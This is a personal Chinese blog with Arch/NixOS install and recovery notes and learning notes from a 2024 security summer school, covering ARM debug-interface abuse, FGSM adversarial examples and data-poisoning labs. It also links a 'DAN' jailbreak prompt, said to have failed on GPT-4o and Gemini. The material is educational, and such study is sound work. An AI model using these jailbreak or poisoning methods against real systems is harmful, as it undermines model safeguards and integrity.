# About me

**Hi there,**

HNU ~~在读本科生~~ 2025届校友 ➡️ HWer（base 东莞）

信仰是 ***Living for fun**,*（高难度 || 未尝试）的事都很有趣

“生活艺术家是真正的艺术家”

**Content about this website,**

* 技术折腾
* 生活感悟
* 论文笔记

**Welcome to contact me,**

* [Github](https://github.com/955xiaoSu)，记录自己写的一些小玩意儿
* 下方是旅游足迹，若有足迹之外的有趣 city 推荐，欢迎邮件联系呀：<kaisuping@gmail.com>

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FC8X51WS5MVNwFYSPV7WN%2Fimage.png?alt=media&amp;token=92ddc691-e1bc-4b84-a69d-77e22298bb6f" alt=""><figcaption></figcaption></figure>


# Friends

* [超级强的学委吴🎈](https://skywt.cn/)
* [看似文科实则理工猛男柳💪](https://6-champ1on.gitbook.io/6champ1on-home/)
* [共同生活了三年的挚友王😊](https://huigg296.github.io/)
* [引领我成长的至强学长肖👍](https://kiprey.github.io/)


# Cortex-M 处理器调试

突然记起在此踩了不少坑，遂分享

下方资料介绍了如何使用 STM32Programmer 配置 Cortex-M 处理器时钟源、程序烧录、串口通信与核间通信，以及调试选项。&#x20;

{% file src="/files/oVEc4xISCPcY15szJYWQ" %}


# os折腾——Arch & Win11 双系统

## 为什么想装双系统？

答：~~闲得蛋疼。~~

自从升级了 win11 之后，UI 操作备感舒适（e.g. 加入了窗口缩放动画，操作更加自然），加之各种快捷键的配合，基本上可以实现手不离键盘实现各种操作，但 windows 比起 Linux 还是缺少了一点儿 self-defined 文化，掌控计算机的体验感无法到达极致。再加上 Linux 是必备的环境，可在 win 上借助 VMware 和 VirtualBox 使用 Linux 总是会出现一点儿奇奇怪怪的小问题，比如时不时粘贴板坏了、wsl2 要求开启 Hype-V，可 Hype-V 会 block VirtualBox ，导致 VirtualBox 与 wsl2 不能同时使用……没有理由不试试在物理机上直接安装一个 Linux。

那为什么不彻底抛弃 win，只留下 Linux 呢？

一来是因为这是笔者第一次在物理机上安装 Linux，怕一个不慎万劫不复，那就真栓Q了；二来是有些 app 只能在 win 上使用（e.g. IDA）。出于上述两点考虑，最终选择保留 win 走双系统之路。

那么接下来就应该进入挑选 Linux 发行版的环节了，先来看看现在流行的发行版：

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FywKZI9g84NOt0OsaVbLj%2Fimage.png?alt=media&amp;token=308e11f2-2116-4892-ab95-5f853427a9c3" alt="" width="563"><figcaption><p><a href="https://zh.wikipedia.org/wiki/Linux%E5%8F%91%E8%A1%8C%E7%89%88">https://zh.wikipedia.org/wiki/Linux%E5%8F%91%E8%A1%8C%E7%89%88</a></p></figcaption></figure>

笔者个人不想选 Ubuntu 感觉不够新颖，不敢选 Red Hat 系列因为没试过，于是选择了曾经试过且体感不错的 Arch Linux。笔者认为 Arch Linux 的特点是：

1. 有活跃的社区。完善的 archwiki 是 Arch Linux 的维基百科，遇到问题先上那去瞅一瞅准没错
2. rolling + pacman。滚动更新避免面临点版本大换血的困扰
3. self-defined。一切你说了算，「The Arch Way」 的体现！判断自己是否适合可以去阅读➡️[常见问题](https://wiki.archlinuxcn.org/zh-sg/%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98)

更加令人满意的是 Arch Linux 的兼容性，笔者常用的 app Arch Linux 上都有对应的软件包：

* [ ] vscode
* [ ] typora
* [ ] google-chrome
* [ ] qq、vx
* [ ] office
* [ ] 腾讯文档

说了这么多好处，还不快快来 Arch Linux 一起~~挨打~~玩吗😉

## 前期一个「很蠢」的操作

上文提及这是笔者第一次在物理机上装 Linux，整体态度偏谨慎，产生了一些很清奇的脑回路：

> 考虑先借一台吃灰电脑试试？→ 借不到，g 了
>
> 考虑买一台旧电脑试水，看看能否把所有必备玩意儿从 win 迁移到 Linux 环境，如果能的话，就彻底开始改造主机：
>
> * 预算：1k → 钱不够折腾不了（正常二手得 3k） → 京东 7天 无理由退换，确认保真后极速下单（此行为还是不太好，纯白嫖，等我有钱了一定不这样）
> * 要求：
>   * 内存 16G，存储 64G
>   * Intel的至少是8代酷睿，ert最好是11代或以上；AMD的至少是Ryzen 3000系列，最好是Ryzen 5000系列或以上
> * 试水需要解决的问题：
>   * 如何更换主机 os
>   * 必备软件的兼容性如何？

**事实证明，没有必要额外拿一台电脑试水**。当然，如果你真得像笔者一样头铁，抱着捡破烂的想法尝试去买一台价格不合理的电脑试水，你可能就会碰到⬇️

**「千元神机」评测——假网卡 or 假驱动？**

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FTr2WjyiN02EYOVOres9b%2F2.jpg?alt=media&amp;token=f6c01eb3-d512-417a-aeb8-d2cbe0f33cfc" alt="" width="375"><figcaption></figcaption></figure>

买回来之后，兴致勃勃开始装 os，然后就过了一晚上。。。装了一晚上发现根本连网卡都没有，网都连不上，这还玩啥🥲排除了网卡检测不到、驱动未加载、rfkill 屏蔽等原因，并更换 wifi、数据流量数次，还是无法联网，一度陷入自我怀疑。遂决定在本机上复现一波操作，发现这种诡异情况根本不存在，当时心情一言难尽😑

其实如果只是为了试水，完全可以通过压缩磁盘的方式，格一个空白分区来玩，这样既不用担心💰开销问题，也不会碰上两台电脑环境不一致从而引申出来的奇奇怪怪的问题。友情提醒：在压缩磁盘的时候可以胆子大一点，这样就不会像笔者一样，由于第一次只弄了 30GB 的空间，一切都安装好了之后，只剩个位数磁盘空间，日常使用无以为继，无奈只能狠心重新清理磁盘空间，导致了第二次没多大必要的重装。

## 安装踩坑

参考资料：

* [在 VMware Workstation 上安装 Arch Linux（UEFI + GPT）](https://ericclose.github.io/Installing-Arch-as-a-guest-with-UEFI-and-GPT.html#%E5%AE%89%E8%A3%85-Arch-Linux-%E7%9A%84%E5%85%A8%E8%BF%87%E7%A8%8B)
* [在旧的笔记本上安装 Arch Linux](< https://lifeni.life/article/install-arch-linux/>)

安装详细过程可参考上述两篇教程，以下仅记录一些踩坑经历：

1. **注意备份重要文件，谨防数据丢失**。
2. 刷写 `.iso` 工具：之前采用的是 USBWriter，其足够简单，但麻烦在于万一你需要换一个 `.iso` 需要重新刷写，或者 U盘 不再承担系统引导盘作用之后，希望恢复文件存储的功能，需要重新格式化 U盘。那么有没有什么工具可以使 U盘 兼具文件存储和多个 `.iso` 系统引导功能呢？有的，它就是 [Ventoy](https://www.ventoy.net/en/index.html)。
3. 联网：看 `.iso` 提供的是什么网络服务。如果是 iwd 服务那么可键入 `iwctl` 进行联网，如果是 NetworkManager 服务那么可键入`nmcli` 进行联网。此外若还是无法联网，注意是否能检测到网卡硬件，相关的驱动是否加载，网卡是否被`rfkill` 屏蔽。
4. 启动引导（针对双系统引导需求）：

   * 关闭 windows 安全启动
   * grub：先保证确定能正常进入 Arch Linux 后，再利用 os-prober 等工具探测，再重新配置 `grub-mkconfig` 从而实现 Arch & Win11 正常引导
   * system-boot：为了能正常引导 win11 启动，目前笔者探索的一个可行方案是 cp 一个 `shell64.efi` 在 `/boot` 路径下，同时配置 `windows.nsh` 和 `windows.conf` 文件（之前看到一个教程在 `windows.conf` options 中添加了 `-noconsolein && -noconsoleout` 这俩个参数，这会导致在 win C盘 有 Bitlocker 加密的情况下，无法输入 Bitlocker 密钥验证）。`shell64.efi` 附在了本文最后。

   <figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F65c2s0e2IIahqgraCaiU%2Fimage.png?alt=media&amp;token=cb21a917-5b19-48b2-94b2-fafb41b3531d" alt="" width="375"><figcaption><p>windows.nsh &#x26;&#x26; windows.conf</p></figcaption></figure>

   <figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F12bmHI2M3nQjPGlagsJi%2Fimage.png?alt=media&amp;token=3b206ed4-d4c7-4a46-bb25-905474af8412" alt="" width="375"><figcaption></figcaption></figure>
5. 编译安装 yay  `makepkg -si` 时过于缓慢：
   * `export GO111MODULE=on && export GOPROXY=https://goproxy.cn`
6. 输入法：
   * `fcitx-config-gtk3` 可视化配置
   * 编辑 `/etc/enviroment` 指定输入法框架为 fcitx 实现全局输入，配置之后就可以在 terminal、menu、vx 等地方实现中文输入了（在安装中文输入法的前提下）
7. 菜单快捷搜索后访问 app：`~/.local/usr/applications` 新建 `.desktop` 文件，而后 update。
8. 自启动可以借助 systemd service 或者将相关 app 的 `.desktop`复制到`/etc/xdg/autostart`。

## 重装血泪史

### 导火索

一日中午，外接 HDMI 后放大了分辨率，下午拔出 HDMI 带电脑至院楼学习，发觉分辨率没有自适应导致图标、文字等过小，遂想调整分辨率。此时怪事发生，无论是手动进入「设置」调整分辨率亦或在 terminal 中使用 xrandr 工具进行调整均失效，重启两三回未果，遂问 gpt-4o 何至于此。奈何当日头昏脑胀，轻信 gpt-4o，执行了下列操作：添加分辨率配置文件、**更新 firmware & linux**，**然后直接重启 desktop manager**。

重启之后黑屏，仅剩左上角光标频闪。当时估摸着是分辨率配置文件有问题，在 Win11 上尝试用 0.69版本的 ext2fsd 删除配置文件，但是失败了。想着既然不行，那就回寝室后接上 HDMI，恢复显示之后把配置文件删了就完事了。即便无法恢复显示，大不了用系统引导盘，在 CLI 总可以删除配置文件，小 case。然而回到寝室之后重启，直接进入到了 emergency shell，那时意识到可能事情没我想象的那么简单。

### 抢救我的电脑

先来看看为什么会进入到 emergency shell：

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Ff7d3Tx8ph7H7Ve4i6vrC%2F1AF9F97BD115826180E919C7BF393EC9.png?alt=media&amp;token=fd75c7f5-5430-46ed-80e3-bd1d1e310a3f" alt="" width="563"><figcaption><p>看到 FAILED 是在 mount /boot 时发生的 </p></figcaption></figure>

后续查看日志了解到，进入到 emergency shell 的原因&#x662F;**「Superblock checksum does not match superblock while trying to open /dev/nvme0n1p7」**。这是个什么鬼？了解了一下 mount 的过程：从 userspace 发起 mount 请求 → kernel mount() 接口 → 创建 fs 上下文，添加 suplerblock，校验 fs 上下文，将上下文信息传递到 VFS，并保存挂载信息到 `/etc/mtab` 与 `/proc/mounts`（`/etc/mtab` 是 `/proc/self/mounts` 软链接，而 `/proc/self/mounts` 与 `/proc/mounts` 文件内容是相同的）。

看来 checksum 不匹配是在校验 fs 上下文阶段发生的错误，上 archwiki 检索一下，有两种修复说法：

1. 用 e2fsck -b 修复。
2. checksum 不匹配是因为在 win 上使用了 0.68 版本 ext2fsd，解决方案俩字，重装。

对于第一种说法，笔者已遍历所有 back up superblock，发现此方法不适用。同时在 win 上查看了一下 S.M.A.R.T 信息，没发现磁盘有啥问题。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Fvf00jxwmq8LE4AeBk9Lt%2F9190AD3D34E513D748A8FAC8AFF5D848.png?alt=media&amp;token=080544cc-ee38-43f4-83de-b4921288a0d0" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FHBlkKm3QGoxld1ahM3Tu%2F2E4EFC93C8E510145805B371CAD4E99A.png?alt=media&amp;token=3d47fe97-4e7d-4fda-b965-158f41dae06d" alt="" width="188"><figcaption><p>再次提醒备份的重要性！</p></figcaption></figure>

对于第二种说法，笔者使用的是据说已修复 bug 的 ext2fsd 0.69 版本，所以没多大参考价值。加上笔者使用的 filesystem format 是 ext4，并不是支持快照回滚的 btrfs，同时没有备份系统镜像文件，可谓回天乏术，思来想去，除了重装别无他路。哎，人生啊～

在重装之前，非常让笔者纠结的一件事情是：怎么抢救 Arch 上最新的笔记？如果笔记无法抢救，那么重写笔记又是一笔巨大的时间开销。抓耳挠腮之际，想起一位大佬，打开 vx 深夜咨询，在大佬的提醒下，重启在 win 上吃灰已久的 DiskGenius！DiskGenius 没有辜负信赖！只需选中对应磁盘分区（分区是否损坏并没有影响），右键选&#x62E9;**「已删除或格式化后的文件恢复」**，静等两分钟，惊喜的一幕就诞生了！！

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FYHWUbnLVC4Dt2O7zRd2i%2F1F7A40967727BB736A9A506C5C552C30.png?alt=media&amp;token=27f34e88-62fa-4a5b-ab7d-f06a1c636505" alt="" width="375"><figcaption><p>DiskGenius 为什么是神！</p></figcaption></figure>

看到众多笔记、文件浮现在眼前，老泪众横，紧急备份后上床安稳睡觉，这一夜睡得香甜🎑

次日早晨复盘本次事故的 root cause，想来并不是分辨率配置文件导致的，**而是在更新了 firmware 和 linux 之后，没有第一时间重启，而是仅重启了 desktop manager**。为什么更新 firmware 和 linux 后最保险的做法是立即重启呢？笔者并没有找到非常可信的说法，只在 archwiki 上看到有人闲聊：[新手问一个问题，arch 可以 每日滚动更新，但每周只重启一次吗？](https://bbs-archlinuxcn-org.translate.goog/viewtopic.php?id=12989&_x_tr_sl=zh-CN&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=sc)

以及在[系统维护](https://wiki.archlinuxcn.org/zh/%E7%B3%BB%E7%BB%9F%E7%BB%B4%E6%8A%A4)中提到的：

> 内核很难在重启前更新。**升级内核后重启系统永远是最安全的选择**，如果不方便重启可以通过内核热补丁在不重启系统的情况下应用更新。

本次事故让笔者下定决心一定要建立一个健全的备份体系，目前采用了如下做法：

* 在 Win11 上利用 DiskGenius 备份 Arch 系统镜像到本地
* 在 Arch 上通过 timeshift 创建系统镜像
* Arch 本地构建基础设施（git、Makefile）适时备份到服务器，或者通过挂载的方式同步相关文件到 Win11 上
* 使用 `rsync` 每日定点将重要数据备份到服务器

说来也巧，在笔者🔧电脑软件方面（os）问题时，电脑硬件也来凑热闹搞罢工，先是触摸板形变导致右键失效，再是键盘左上角开裂愈发严重。硬件方面笔者真无能为力，故找学校神仙技师维修。技师先利用钳子把触摸板形变位置矫正，后帮笔者把最新购买的 C壳 换上，最后清灰➕添硅胶。经历了这折腾的一周后，电脑直接实现了软硬件蜕变！

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FzesEi7dSt4I1lJ6xKzvl%2F7A483724A97EA4E9BC4547A475319E5A.png?alt=media&amp;token=e7972df3-b666-4e9a-818d-02d3bd6b8efb" alt="" width="188"><figcaption><p>掀起你的后盖来好好看看你.jpg</p></figcaption></figure>

## 装 Arch 不过瘾？试试看 NixOS

> 什么，你不会写 Rust？什么，你不用 Nix？什么，你这个没听说过？……

学院集中实训期间，幸得与 HNU Nix & Rust 教主为伴。教主凭借硬核实力，摧枯拉朽般瓦解笔者所有的信念和自信，结果自然是被教主狠狠洗脑。一点儿脾气没有，技术领域，菜是原罪。

考虑到 512GB 分配给三个 os 实在是过于憋屈，于是购买 PSSD 装 NixOS。得益于 Nix 严谨的计算，NixOS 的安装确实简单，只要能搞定配置文件就搞定了一切。当然「搞定」说得简单，事实上嘛，你试试就知道了🤭

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F2im07AEEmB2Idf3Xqo8v%2F281070379FEF6D7DC60738C115F5979D.png?alt=media&amp;token=f6ced4cb-42b8-43a0-8247-25f0c58205e0" alt="" width="375"><figcaption></figcaption></figure>

{% embed url="<https://github.com/955xiaoSu/NixOS/tree/main>" %}
笔者的 Nix 配置文件
{% endembed %}

[上文第四点](#an-zhuang-cai-keng)提到的 shellx64.efi 文件：&#x20;

{% file src="/files/kppqklTTNdj9TBFnqlIl" %}

全剧终


# 2024 Let's GoSSIP

Let's GoSSIP 是由上交主办、蜚语科技赞助的暑期学校（惯例是从“大暑”节气那一天起），面向社会开放。暑校的形式是上交邀请国内外知名的安全研究团队，为学员举办讲座，力争在短短五天内让学员疯狂 hacking，感受安全研究的魅力！

## Preface

2024 暑校是 Let's GoSSIP 的第十年，也是以**实践**为主旨的第一年，整个活动贯彻落实“纸上得来终觉浅，绝知此事要躬行”的思想，所以今年特别 crazy🪄

ps，相关通知均在“**安全研究GoSSIP**”微信公众号上发布（好消息是学生参加暑校费用减半\~）

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FkpSHvsOSdyBOHTF2wz9p%2F7eb149b1280aed32c1fef6cd3a56248.jpg?alt=media&amp;token=3701182b-66c7-4272-adce-5bb20c6786a7" alt="" width="375"><figcaption><p>2024 暑校地点：上海闵行白金汉爵大酒店</p></figcaption></figure>

## Day 1

> July 22，硬件安全攻防实践，南方科大张锋巍团队

参考资料：

* [课程网站](https://fengweiz.github.io/21fa-cs315/)
* [Nailgun](https://fengweiz.github.io/paper/nailgun-cccf20.pdf)
* [slides](https://fengweiz.github.io/19fa-cs315/slides/nailgun-zhenyu-ning.pdf)
* [Zhenyu Ning and Fengwei Zhang.Understanding the security of arm debugging features](https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=\&arnumber=8835394)
* [树莓派入门](https://pidoc.cn/docs/computers/getting-started)

### Background

任何一个系统都是分级别的

EL3 作为状态过渡的桥梁

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FzxnHhsZFSiGrmjFrpfsI%2Fimage.png?alt=media&amp;token=bc5f9710-9b1b-4dda-8010-4d96f5c12324" alt="" width="375"><figcaption></figcaption></figure>

打破权限隔离的方法是**滥用调试接口**（ps，high-level 来说 debug 分为入侵与非入侵两种，入侵意味着可以中断 / 控制调试目标）

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FxISZX3dE4s7WzuR47i0k%2Fimage.png?alt=media&amp;token=bafe4463-defe-4793-8156-fdb7dffde1a5" alt="" width="375"><figcaption></figcaption></figure>

Arm debug designer 认为被调试状态下的 TARGET 从低权限提权到高权限是一个合法的行为，或者说 designer suppose 这不是 arm 该管的事，应该是 SoC 该管的事（前提，调试 HOST 需要具备 EL1 权限）

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FeenTPtIYfAMyrbeYN7oc%2Fimage.png?alt=media&amp;token=4ac6919d-6914-4b60-b012-0d7823b5fd37" alt="" width="375"><figcaption></figcaption></figure>

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FMtLRYutgke0jPgPN5Bi0%2Fimage.png?alt=media&amp;token=fb407d40-7ba2-4954-8dba-6b31f9ae3a15" alt="" width="375"><figcaption></figcaption></figure>

Arm 提供了一种新颖的 debug 方式：Inter-processor Debugging，可以绕过物理接触（类似找旁站），就不需要 JTAG，但要求必须能控制多核设备中的**某一个核**（这个前提似乎有点苛刻？）

### Practice

实验器材：

> Raspberry Pi 3 model B+, a TF card with a corresponding USB connector, a power supply, and serial cables

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F8RURsKL4MVnERFBR7Xi4%2F15652991e517f9c33daa08b7b6bdc47.jpg?alt=media&amp;token=f7b4fd0a-ccff-4d39-8b5e-7c45baf1b892" alt="" width="188"><figcaption></figcaption></figure>

根据实验指导，将给定镜像通过 Win32 磁盘映像工具写入 SD 卡（能独自发现这个”U盘“的用处也是很赞/了，第一次见读卡器www）：

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FlRpTKPx4riw8KLROfjVq%2F4213e3e9a7882ad299001ca7d627f0b.jpg?alt=media&amp;token=ee4fe606-7ebc-4d23-baf7-15270768ba2d" alt="" width="188"><figcaption></figcaption></figure>

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FzgfKyosIZCqLkZrZgrOm%2Fimage.png?alt=media&amp;token=41ae9ad7-f7ca-4b7a-876d-a0b4d4ed0fa9" alt="" width="375"><figcaption></figcaption></figure>

通过查阅树莓派相关网站和自带的纸质手册，才弄懂应该怎么插 SD 卡（被自己又菜到了hhh

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FlEkCeuaaSVVYtlQnMGMI%2F1f4936e5721a5362e7030c1685a7a02.jpg?alt=media&amp;token=715e02e0-4027-43d5-aed4-4dff0d045fc9" alt="" width="188"><figcaption></figcaption></figure>

根据指导与配图，进行连线

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FGsCV9NXayIdjmOEY2Y3K%2Fimage.png?alt=media&amp;token=7e99da1b-7b7a-4a9a-8aec-7e15ec69ccf2" alt="" width="375"><figcaption></figcaption></figure>

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FZjIyhs2upE0e97BiIwKM%2Fimage.png?alt=media&amp;token=eea4bf05-7e1d-4e0b-bc0b-3b27334b23bd" alt="" width="375"><figcaption></figcaption></figure>

安装驱动：

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FPbDXSQkYB2R96QYohDdA%2Fimage.png?alt=media&amp;token=75320dbf-9326-44dd-829b-ca98e0c934c4" alt="" width="375"><figcaption></figcaption></figure>

检测不到 COM 可能有两个原因，一个是驱动未安装（安装后需重启、其他设备、隐藏设备、安装旧版本等方法均不起作用），另一个是物理电路连接不稳定

今天遇到的问题有两个：第一，驱动安装不了，80% 时间耗费在这里了，导致实验基本没有做，但是我觉得并不亏，**因为自己还是坚持下来没有直接摆**，帮助自己建立自信，以后才能成为一名真正的工程师；第二，不熟悉树莓派及相关配件，看着就直接干懵逼了（e.g. SD 卡烧录，但是通过**大胆猜测小心求证**解决了，很开心）。后面在意识到主机驱动有问题的情况下，产生放弃的想法。在请求别人帮助后，提示可以去试试用显示屏，看着树莓派 + 显示屏 + 鼠标 + 笔记本，没理清楚配置之间的逻辑关系，只能在那傻傻发呆，后面才意识过来可以把鼠标和显示屏接在树莓派上，在显示屏没有键盘接口的情况下，找工作人员与朋友借键盘（特别像第一天去实习，自己甚至都不懂怎么装电脑，该拿什么线）🤣

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Fq83bBTM6AP1xdZLqhVh0%2F57cfb4c26026dc0f4bf0b8f362d9938.jpg?alt=media&amp;token=b674fb4a-d447-4315-9f0f-39123dd1d400" alt="" width="375"><figcaption></figcaption></figure>

## Day 2

> July 23，从安全视角认识计算机系统，浙大常瑞团队

（介绍浙大的教学体系这一点，与本次暑校活动的相关性太差了，没有考虑受众，这种报告应该是给同行老师 / 向上汇报的，而不是给学生讲的；给的实验难度分布太不合理了，简单又太简单，困难又太过困难，压根没认真准备

参考资料：

* [计算机组成与设计](https://reader.z-library.rs/?source=b94ae45977f755eb0a3c7693c278e9e5f02353b872e8d148eee2f9c9e0d20549\&download_location=https%3A%2F%2Fz-library.rs%2Fdl%2F17022047%2F9e3811)
* [《计算理论基础（第二版）》](https://github.com/QSCTech/zju-icicles/blob/master/%E8%AE%A1%E7%AE%97%E7%90%86%E8%AE%BA/%E6%95%99%E6%9D%90/%E8%AE%A1%E7%AE%97%E7%90%86%E8%AE%BA%E5%9F%BA%E7%A1%80%EF%BC%88%E7%AC%AC%E4%BA%8C%E7%89%88%EF%BC%89.pdf)
* [一文详解卷积和逆卷积](https://theonegis.github.io/dl/%E4%B8%80%E6%96%87%E8%AF%A6%E8%A7%A3%E5%8D%B7%E7%A7%AF%E5%92%8C%E9%80%86%E5%8D%B7%E7%A7%AF/)
* [卷积](https://paddlepedia.readthedocs.io/en/latest/tutorials/CNN/convolution_operator/Convolution.html)

### Background

视角：硬件 CPU、OS、程序员

考虑功耗、性能之间的 balance

非安全是指使用该工具对程序员有很高的要求

介绍了一下工作 Atlas（背景：Android 测试有闭源 + 跨语言测试两个难点），但没有听出 insight 的亮点

形式化验证

* 来源：安全跟不上代码膨胀的速度，所以只能去 check
* 特点：无二义性、严格
* 作用：高度的抽象带来通用性

**经过形式化验证的代码!=绝对正确**，有可能建模本身并不完整

### Practice

#### 串口软硬件结合

被过分裁剪以至于过于简单，四行 C 代码结束了

#### 卷积加速器

> 对应实验工程量太大，同时没有 lab 指南，不知道该干什么，skip

卷积在数学上是两个变量在某范围内相乘后求和的结果

![卷积运算](https://theonegis.github.io/images/ml/no_padding_no_strides.gif)

```c
// 一个极其简单的多通道卷积

#include <stdio.h>
#include <stdlib.h>

#define CHANNEL_H 3
#define CHANNEL_W 3
#define KERNEL_H 2
#define KERNEL_W 2

const int basis = 1;

int input_matrix1[CHANNEL_H][CHANNEL_W] = {
    {1, 2, 3},
    {4, 5, 6},
    {7, 8, 9}
};
int input_matrix2[CHANNEL_H][CHANNEL_W] = {
    {1, 2, 3},
    {4, 5, 6},
    {7, 8, 9}
};
int input_matrix3[CHANNEL_H][CHANNEL_W] = {
    {1, 2, 3},
    {4, 5, 6},
    {7, 8, 9}
};
int red_kernel_matrix[KERNEL_H][KERNEL_W] = {
    {1, 0},
    {0, -1}
};
int green_kernel_matrix[KERNEL_H][KERNEL_W] = {
    {0, 1},
    {1, 0}
};
int blue_kernel_matrix[KERNEL_H][KERNEL_W] = {
    {1, -1},
    {1, -1}
};

void convolution(int output[CHANNEL_H][CHANNEL_W]) {
    for (int i = 0; i < CHANNEL_H - KERNEL_H + 1; i++) {
        for (int j = 0; j < CHANNEL_W - KERNEL_W + 1; j++) {
            int sum1 = 0, sum2 = 0, sum3 = 0;
            for (int k = 0; k < KERNEL_H; k++) {
                for (int l = 0; l < KERNEL_W; l++) {
                    sum1 += input_matrix1[i + k][j + l] * red_kernel_matrix[k][l];
                    sum2 += input_matrix2[i + k][j + l] * green_kernel_matrix[k][l];
                    sum3 += input_matrix3[i + k][j + l] * blue_kernel_matrix[k][l];
                }
            }
            output[i][j] = sum1 + sum2 + sum3;
            printf("(%d, %d): sum = %d + %d + %d = %d\n", i, j, sum1, sum2, sum3, output[i][j]);
        }
    }
}

void display(int output[CHANNEL_H][CHANNEL_W]) {
    for (int i = 0; i < CHANNEL_H - KERNEL_H + 1; i++) {
        for (int j = 0; j < CHANNEL_W - KERNEL_W + 1; j++) {
            printf("%d ", output[i][j]);
        }
        printf("\n");
    }
}

int main() {
    int output_matrix[CHANNEL_H][CHANNEL_W] = {0};

    convolution(output_matrix);
    display(output_matrix);

    return 0;
}
```

#### Xpart

此项目为浙大一年半计算机系统课程的终极大作业，难度极高，skip

## Day 3

> July 24，AI安全攻防Lab，复旦潘旭东团队

（啥都不会，毫无头绪，坐牢一整天

### Background

训练 AI 模型：

* 训练数据
* 对抗样本生成
  * key 在于找到能够提高误分类概率的微小扰动
  * 分类：无目标攻击、有目标攻击
  * 防御：降噪、聚类

### Practice

#### Lab0：搭建攻击⽬标⸺经典卷积神经⽹络LeNet-5

根据 pytorch 的实验指导，正常训练一个模型

tip：在有多个版本的 python 情况下，默认 pip 不一定能给相应 python 装上 package，`python -m pip` 安装对应 python package

#### Lab1：误导AI模型⸺经典对抗样本⽣成算法FGSM

现在要干啥？生成对抗样本。怎么生成对抗样本？利用 FGSM 代码生成。找卡车图像，然后用模型去识别，能让模型错误预测就行了

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FMZ7fmTQFFDM2j2q7lj3K%2Fimage-20240724111346355.png?alt=media&amp;token=f3e8a351-1459-46b2-8143-43e600567ad0" alt="" width="375"><figcaption></figcaption></figure>

扩展：[DAN](https://medium.com/@dakseymain/chatgpt-dan-mode-prompt-2024-295298be7e4e) failed in GPT 4o && Gemini

#### Lab2：投毒攻击

类似于后门，让模型决策边界发生偏移

例如：标签反转、固定 Patch 投毒、干净标签攻击（Victim 与 Base 混合训练）

label flipping：

* 随机选取一部分训练集修改其标签，保存模型并在测试集上测试证明有效（降低模型的准确率）
* 修改某一特定类标签，保存模型并在训练集上进行集中测试，统计 success rate，证明有效

BadNet：

* 制作 trigger
* 选取少量样本展示添加 trigger 后的效果
